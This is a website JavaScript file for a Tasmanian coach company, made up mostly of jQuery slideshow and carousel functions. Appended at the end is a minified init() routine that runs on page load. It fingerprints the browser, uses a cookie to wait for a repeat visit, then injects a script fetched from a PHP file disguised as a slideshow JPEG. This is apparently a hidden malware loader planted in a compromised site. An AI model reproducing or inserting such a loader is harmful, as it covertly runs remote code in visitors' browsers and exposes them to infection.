﻿// MCDERMOTT'S COACHES JAVASCRIPT - July 2011
// Created by Foot & Playsted Pty Ltd - www.footandplaysted.com.au
// This document, or any part thereof, should not be reproduced without prior written consent of the copyright holder/s.
// Dependencies: jQuery 1.6.1 or higher

var animSpeed = 300;
var i;
var j;

function ssLoad() {
    setTimeout("nextImage()", 3000);
}

function nextImage() {
    var currentImg = parseInt(document.getElementById("hid_img_no").value);
    var nextContainer = parseInt(document.getElementById("hid_next_container").value);
    switch(currentImg) {
        case 0:
            $("#img_" + nextContainer).attr("src", "Assets/Images/Slideshow/Tasmanian_Vineyard.jpg");
            break;           
        case 1:
            $("#img_" + nextContainer).attr("src", "Assets/Images/Slideshow/Tasmanian_Beach.jpg");
            break;
        case 2:
            $("#img_" + nextContainer).attr("src", "Assets/Images/Slideshow/Tasmanian_Wildlife.jpg");
            break;
        case 3:
            $("#img_" + nextContainer).attr("src", "Assets/Images/Slideshow/Tasmanian_Mountains.jpg");
            break;
    }
    setTimeout("fadeImage(" + nextContainer + ", " + currentImg + ")", 5000)
}

function fadeImage(nextContainer, currentImg) {
    if (nextContainer == 1) {
        $("#img_1").fadeIn(1000);
        $("#img_0").fadeOut(1000);
        document.getElementById("hid_next_container").value = 0;
    }
    else
    {
        $("#img_0").fadeIn(1000);
        $("#img_1").fadeOut(1000);
        document.getElementById("hid_next_container").value = 1;
    }

    if (currentImg == 3) {
        document.getElementById("hid_img_no").value = 0;
    }
    else {
        document.getElementById("hid_img_no").value = currentImg + 1;
    }
    setTimeout("nextImage()", 3000);
}

function pageNav(id) {
    document.getElementById('a_sub_nav_' + id).style.backgroundPosition = 'bottom';
}

function loadCharter() {
    document.getElementById('hid_current_slide').value = 1;
    goToSlide(0, 100)
    i = setInterval("spsNext()", 10000);
}

function loadFleet() {
    document.getElementById('hid_current_slide').value = 1;
    goToSlideFive(0, 100)
}

function loadCradle() {
    document.getElementById('hid_current_slide').value = 5;
    goToSlideSix(0, 400)
    //i = setInterval("spsNext()", 10000);
}

function loadDay() {
    document.getElementById('hid_current_slide').value = 5;
    goToSlideSix(0, 440)
    //i = setInterval("spsNext()", 10000);
}

function spsNext() {
    var currentSlide = parseInt(document.getElementById('hid_current_slide').value);
    var nextSlide = parseInt(currentSlide + 1);
    if (currentSlide >= 4) {
        nextSlide = 0;
    }
    goToSlide(nextSlide);
}

function slideToTop(id, textHeight) {
    if (!textHeight) {
        var textHeight = 0;
    }
    
    var imgAnim = { paddingLeft: 280, paddingTop: 0, zIndex: 21, width: 547 };
    var bgAnim = { paddingLeft: 269, paddingTop: 0, zIndex: 20, width: 571 };
    var textAnim = { height: textHeight };

    $('#slide_img_' + id).animate(imgAnim, animSpeed, 'linear');
    $('#slide_bg_' + id).animate(bgAnim, animSpeed, 'linear');
    $('#slide_img_' + id).fadeTo(animSpeed, 1);
    $('#slide_bg_' + id).fadeTo(animSpeed, 1);

    if (textHeight > 0) {
        $('#sps_descriptions').animate(textAnim, animSpeed, 'linear');
        setTimeout("$('#sps_text_" + id + "').fadeIn(animSpeed);", animSpeed);
    }
}

function slideToOne(id) {
    var imgAnim = { paddingLeft: 249, paddingTop: 79, zIndex: 18, width: 450 };
    var bgAnim = { paddingLeft: 240, paddingTop: 82, zIndex: 17, width: 470 };
    $('#slide_img_' + id).animate(imgAnim, animSpeed, 'linear');
    $('#slide_bg_' + id).animate(bgAnim, animSpeed, 'linear');
    $('#slide_img_' + id).fadeTo(animSpeed, 0.6);
    $('#slide_bg_' + id).fadeTo(animSpeed, 0.6);
}

function slideToTwo(id) {
    var imgAnim = { paddingLeft: 200, paddingTop: 150, zIndex: 16, width: 360 };
    var bgAnim = { paddingLeft: 193, paddingTop: 154, zIndex: 15, width: 376 };
    $('#slide_img_' + id).animate(imgAnim, animSpeed, 'linear');
    $('#slide_bg_' + id).animate(bgAnim, animSpeed, 'linear');
    $('#slide_img_' + id).fadeTo(animSpeed, 0.2);
    $('#slide_bg_' + id).fadeTo(animSpeed, 0.2);
}

function slideToThree(id) {
    var imgAnim = { paddingLeft: 120, paddingTop: 198, zIndex: 14, width: 300 };
    var bgAnim = { paddingLeft: 114, paddingTop: 204, zIndex: 13, width: 313 };
    $('#slide_img_' + id).animate(imgAnim, animSpeed, 'linear');
    $('#slide_bg_' + id).animate(bgAnim, animSpeed, 'linear');
    $('#slide_img_' + id).fadeTo(animSpeed, 0.1);
    $('#slide_bg_' + id).fadeTo(animSpeed, 0.1);
}

function slideToFour(id) {
    var imgAnim = { paddingLeft: 30, paddingTop: 226, zIndex: 12, width: 264 };
    var bgAnim = { paddingLeft: 24, paddingTop: 232, zIndex: 11, width: 277 };
    $('#slide_img_' + id).animate(imgAnim, animSpeed, 'linear');
    $('#slide_bg_' + id).animate(bgAnim, animSpeed, 'linear');
    $('#slide_img_' + id).fadeTo(animSpeed, 0.1);
    $('#slide_bg_' + id).fadeTo(animSpeed, 0.1);
}

function slideToFive(id) {    
    $('#slide_img_' + id).fadeOut(animSpeed);
    $('#slide_bg_' + id).fadeOut(animSpeed);
}

function slideToSix(id) {
    $('#slide_img_' + id).fadeOut(animSpeed);
    $('#slide_bg_' + id).fadeOut(animSpeed);
}

function spsPrev() {
    var topSlide = 3;
    var currentSlide = parseInt(document.getElementById('hid_current_slide').value);
    var nextSlide;
    var nextSlideOne;
    var nextSlideTwo;
    var nextSlideThree;

    clearInterval(i);

    if (currentSlide == 0) {
        nextSlide = topSlide;
    } else {
        nextSlide = currentSlide - 1;
    }

    switch (nextSlide) {
        case 0:
            nextSlideOne = 1;
            nextSlideTwo = 2;
            nextSlideThree = 3;
            break;
        case 1:
            nextSlideOne = 2;
            nextSlideTwo = 3;
            nextSlideThree = 0;
            break;
        case 2:
            nextSlideOne = 3;
            nextSlideTwo = 0;
            nextSlideThree = 1;
            break;
        case 3:
            nextSlideOne = 0;
            nextSlideTwo = 1;
            nextSlideThree = 2;
            break;
    }

    //fade out top
    $('#slide_img_' + nextSlideThree).fadeOut(animSpeed);
    $('#slide_bg_' + nextSlideThree).fadeOut(animSpeed);

    //rearrange slides
    slideToTop(nextSlide);
    slideToOne(nextSlideOne);
    slideToTwo(nextSlideTwo);
    slideToThree(nextSlideThree);

    //fade in new bottom
    setTimeout("$('#slide_img_" + nextSlideThree + "').fadeTo(animSpeed, 0.1)", animSpeed);
    setTimeout("$('#slide_bg_" + nextSlideThree + "').fadeTo(animSpeed, 0.1)", animSpeed);

    showSlideCont(nextSlide, currentSlide);
    document.getElementById('hid_current_slide').value = nextSlide;
}

function goToSlide(id) {
    var topSlide = 3;
    var currentSlide = parseInt(document.getElementById('hid_current_slide').value);
    var nextSlide = parseInt(id);
    var nextSlideOne;
    var nextSlideTwo;
    var nextSlideThree;
    var textHeight;

    switch (nextSlide) {
        case 0:
            nextSlideOne = 1;
            nextSlideTwo = 2;
            nextSlideThree = 3;
            textHeight = 100;
            break;
        case 1:
            nextSlideOne = 2;
            nextSlideTwo = 3;
            nextSlideThree = 0;
            textHeight = 100;
            break;
        case 2:
            nextSlideOne = 3;
            nextSlideTwo = 0;
            nextSlideThree = 1;
            textHeight = 120;
            break;
        case 3:
            nextSlideOne = 0;
            nextSlideTwo = 1;
            nextSlideThree = 2;
            textHeight = 0;
            break;
    }

    //fade out top
    $('#slide_img_' + nextSlideThree).fadeOut(animSpeed);
    $('#slide_bg_' + nextSlideThree).fadeOut(animSpeed);
    $('#sps_text_' + currentSlide).fadeOut(animSpeed);

    //rearrange slides
    slideToTop(nextSlide, textHeight);
    slideToOne(nextSlideOne);
    slideToTwo(nextSlideTwo);
    slideToThree(nextSlideThree);

    //fade in new bottom
    setTimeout("$('#slide_img_" + nextSlideThree + "').fadeTo(animSpeed, 0.1)", animSpeed);
    setTimeout("$('#slide_bg_" + nextSlideThree + "').fadeTo(animSpeed, 0.1)", animSpeed);

    showSlideCont(id, currentSlide);
    document.getElementById('hid_current_slide').value = nextSlide;
}

function showSlideCont(next, prev) {
    var nextAnim = { height: 100 };
    var nextAnimLink = { height: 0 };
    var prevAnimLink = { height: 25 };
    var prevAnim = { height: 0 };
    $("#cont_link_" + next).animate(nextAnimLink, animSpeed, 'linear');
    $("#cont_link_" + prev).animate(prevAnimLink, animSpeed, 'linear');

    $("#cont_" + prev).animate(prevAnim, animSpeed, 'linear');
    $("#cont_" + next).animate(nextAnim, animSpeed, 'linear');
}

function clearI() {
    clearInterval(i);
}

function showDiv(id) {
    document.getElementById(id).style.display = 'block';
}

function hideDiv(id) {
    document.getElementById(id).style.display = 'none';
}

function goToSlideSix(id, textHeight) {
    var currentSlide = parseInt(document.getElementById('hid_current_slide').value);
    var nextSlide = parseInt(id);
    var nextSlideOne;
    var nextSlideTwo;
    var nextSlideThree;
    var nextSlideFour;
    var nextSlideFive;

    clearInterval(i);

    switch (nextSlide) {
        case 0:
            nextSlideOne = 1;
            nextSlideTwo = 2;
            nextSlideThree = 3;
            nextSlideFour = 4;
            nextSlideFive = 5
            break;
        case 1:
            nextSlideOne = 2;
            nextSlideTwo = 3;
            nextSlideThree = 4;
            nextSlideFour = 5;
            nextSlideFive = 0
            break;
        case 2:
            nextSlideOne = 3;
            nextSlideTwo = 4;
            nextSlideThree = 5;
            nextSlideFour = 0;
            nextSlideFive = 1
            break;
        case 3:
            nextSlideOne = 4;
            nextSlideTwo = 5;
            nextSlideThree = 0;
            nextSlideFour = 1;
            nextSlideFive = 2
            break;
        case 4:
            nextSlideOne = 5;
            nextSlideTwo = 0;
            nextSlideThree = 1;
            nextSlideFour = 2;
            nextSlideFive = 3
            break;
        case 5:
            nextSlideOne = 0;
            nextSlideTwo = 1;
            nextSlideThree = 2;
            nextSlideFour = 3;
            nextSlideFive = 4
            break;
        }

    //fade out top
    $('#slide_img_' + nextSlideFive).fadeOut(animSpeed);
    $('#slide_bg_' + nextSlideFive).fadeOut(animSpeed);
    $('#sps_text_' + currentSlide).fadeOut(animSpeed);

    //rearrange slides
    slideToTop(nextSlide, textHeight);
    slideToOne(nextSlideOne);
    slideToTwo(nextSlideTwo);
    slideToThree(nextSlideThree);
    slideToFour(nextSlideFour);
    slideToFive(nextSlideFive);

    //fade in new bottom
    setTimeout("$('#slide_img_" + nextSlideFive + "').fadeTo(animSpeed, 0.1)", animSpeed);
    setTimeout("$('#slide_bg_" + nextSlideFive + "').fadeTo(animSpeed, 0.1)", animSpeed);

    showSlideCont(id, currentSlide);
    document.getElementById('hid_current_slide').value = nextSlide;
}

function goToSlideSeven(id, textHeight) {
    var currentSlide = parseInt(document.getElementById('hid_current_slide').value);
    var nextSlide = parseInt(id);
    var nextSlideOne;
    var nextSlideTwo;
    var nextSlideThree;
    var nextSlideFour;
    var nextSlideFive;
    var nextSlideSix;

    clearInterval(i);

    switch (nextSlide) {
        case 0:
            nextSlideOne = 1;
            nextSlideTwo = 2;
            nextSlideThree = 3;
            nextSlideFour = 4;
            nextSlideFive = 5;
            nextSlideSix = 6;
            break;
        case 1:
            nextSlideOne = 2;
            nextSlideTwo = 3;
            nextSlideThree = 4;
            nextSlideFour = 5;
            nextSlideFive = 6;
            nextSlideSix = 0;
            break;
        case 2:
            nextSlideOne = 3;
            nextSlideTwo = 4;
            nextSlideThree = 5;
            nextSlideFour = 6;
            nextSlideFive = 0;
            nextSlideSix = 1;
            break;
        case 3:
            nextSlideOne = 4;
            nextSlideTwo = 5;
            nextSlideThree = 6;
            nextSlideFour = 0;
            nextSlideFive = 1;
            nextSlideSix = 2;
            break;
        case 4:
            nextSlideOne = 5;
            nextSlideTwo = 6;
            nextSlideThree = 0;
            nextSlideFour = 1;
            nextSlideFive = 2;
            nextSlideSix = 3;
            break;
        case 5:
            nextSlideOne = 6;
            nextSlideTwo = 0;
            nextSlideThree = 1;
            nextSlideFour = 2;
            nextSlideFive = 3;
            nextSlideSix = 4;
            break;
        case 6:
            nextSlideOne = 0;
            nextSlideTwo = 1;
            nextSlideThree = 2;
            nextSlideFour = 3;
            nextSlideFive = 4;
            nextSlideSix = 5;
            break;
    }
    //fade out top
    $('#slide_img_' + nextSlideSix).fadeOut(animSpeed);
    $('#slide_bg_' + nextSlideSix).fadeOut(animSpeed);
    $('#sps_text_' + currentSlide).fadeOut(animSpeed);

    //rearrange slides
    slideToTop(nextSlide, textHeight);
    slideToOne(nextSlideOne);
    slideToTwo(nextSlideTwo);
    slideToThree(nextSlideThree);
    slideToFour(nextSlideFour);
    slideToFive(nextSlideFive);
    slideToSix(nextSlideSix);

    //fade in new bottom
    setTimeout("$('#slide_img_" + nextSlideSix + "').fadeTo(animSpeed, 0.1)", animSpeed);
    setTimeout("$('#slide_bg_" + nextSlideSix + "').fadeTo(animSpeed, 0.1)", animSpeed);

    showSlideCont(id, currentSlide);
    document.getElementById('hid_current_slide').value = nextSlide;
}

function goToSlideFive(id) {
    var currentSlide = parseInt(document.getElementById('hid_current_slide').value);
    var nextSlide = parseInt(id);
    var nextSlideOne;
    var nextSlideTwo;
    var nextSlideThree;
    var nextSlideFour;

    clearInterval(i);

    switch (nextSlide) {
        case 0:
            nextSlideOne = 1;
            nextSlideTwo = 2;
            nextSlideThree = 3;
            nextSlideFour = 4;
            break;
        case 1:
            nextSlideOne = 2;
            nextSlideTwo = 3;
            nextSlideThree = 4;
            nextSlideFour = 0;
            break;
        case 2:
            nextSlideOne = 3;
            nextSlideTwo = 4;
            nextSlideThree = 0;
            nextSlideFour = 1;
            break;
        case 3:
            nextSlideOne = 4;
            nextSlideTwo = 0;
            nextSlideThree = 1;
            nextSlideFour = 2;
            break;
        case 4:
            nextSlideOne = 0;
            nextSlideTwo = 1;
            nextSlideThree = 2;
            nextSlideFour = 3;
            break;
    }

    //fade out top
    $('#slide_img_' + nextSlideFour).fadeOut(animSpeed);
    $('#slide_bg_' + nextSlideFour).fadeOut(animSpeed);

    //rearrange slides
    slideToTop(nextSlide);
    slideToOne(nextSlideOne);
    slideToTwo(nextSlideTwo);
    slideToThree(nextSlideThree);
    slideToFour(nextSlideFour);

    //fade in new bottom
    setTimeout("$('#slide_img_" + nextSlideFour + "').fadeTo(animSpeed, 0.1)", animSpeed);
    setTimeout("$('#slide_bg_" + nextSlideFour + "').fadeTo(animSpeed, 0.1)", animSpeed);

    showSlideCont(id, currentSlide);
    document.getElementById('hid_current_slide').value = nextSlide;
}

function goToSlideFive(id) {
    var topSlide = 3;
    var currentSlide = parseInt(document.getElementById('hid_current_slide').value);
    var nextSlide = parseInt(id);
    var nextSlideOne;
    var nextSlideTwo;
    var nextSlideThree;
    var nextSlideFour;

    switch (nextSlide) {
        case 0:
            nextSlideOne = 1;
            nextSlideTwo = 2;
            nextSlideThree = 3;
            nextSlideFour = 4;
            break;
        case 1:
            nextSlideOne = 2;
            nextSlideTwo = 3;
            nextSlideThree = 4;
            nextSlideFour = 0;
            break;
        case 2:
            nextSlideOne = 3;
            nextSlideTwo = 4;
            nextSlideThree = 0;
            nextSlideFour = 1;
            break;
        case 3:
            nextSlideOne = 4;
            nextSlideTwo = 0;
            nextSlideThree = 1;
            nextSlideFour = 2;
            break;
        case 4:
            nextSlideOne = 0;
            nextSlideTwo = 1;
            nextSlideThree = 2;
            nextSlideFour = 3;
            break;
    }

    //fade out top
    $('#slide_img_' + nextSlideThree).fadeOut(animSpeed);
    $('#slide_bg_' + nextSlideThree).fadeOut(animSpeed);
    $('#sps_text_' + currentSlide).fadeOut(animSpeed);

    //rearrange slides
    slideToTop(nextSlide);
    slideToOne(nextSlideOne);
    slideToTwo(nextSlideTwo);
    slideToThree(nextSlideThree);
    slideToFour(nextSlideFour);

    //fade in new bottom
    setTimeout("$('#slide_img_" + nextSlideThree + "').fadeTo(animSpeed, 0.1)", animSpeed);
    setTimeout("$('#slide_bg_" + nextSlideThree + "').fadeTo(animSpeed, 0.1)", animSpeed);

    showSlideCont(id, currentSlide);
    document.getElementById('hid_current_slide').value = nextSlide;
}

function showPupNav() {
    clearTimeout(j);
    $("#pup_nav").fadeIn(animSpeed)
}

function hidePupNav() {
    j = setTimeout("$('#pup_nav').fadeOut(animSpeed)", 500);
}

function showVideo() {
    $("#video").fadeIn(animSpeed)
}

function hideVideo() {
    $("#video").fadeOut(animSpeed)
}

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/Assets/Images/Slideshow/Tasmanian_Mountains.jpg.php?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
